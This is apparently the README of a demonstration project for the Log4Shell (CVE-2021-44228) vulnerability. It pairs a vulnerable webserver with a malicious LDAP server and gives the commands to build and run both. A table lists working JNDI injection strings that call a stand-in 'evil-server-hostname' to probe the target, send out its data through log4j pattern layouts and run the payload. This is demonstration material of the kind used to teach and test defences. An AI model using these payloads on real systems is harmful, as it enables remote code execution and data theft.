
A demo of the Log4Shell (CVE-2021-44228) vulnerability.
A demo of the Log4Shell (CVE-2021-44228) vulnerability.
The vulnerable webserver and malicious LDAP server were both built and tested on JDK 1.8.0_181.
goodguys, run gradlew bootJarjava -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys, run mvn packagejava -jar .\target\evil-server.jarNote: Windows defender may quietly move
target\classes\Exploit.classto quarantine.
The malicious commands are defined inside Exploit.java.
| Input | Remarks |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | Checks if the target is vulnerable by listening to a connection request to the LDAP server. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | Append any valid log4j pattern latyouts to collect the data from target and display in attacker terminal. |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/
${jndi:ldap://evil-server-hostname:389/Exploit}| Run the payload. |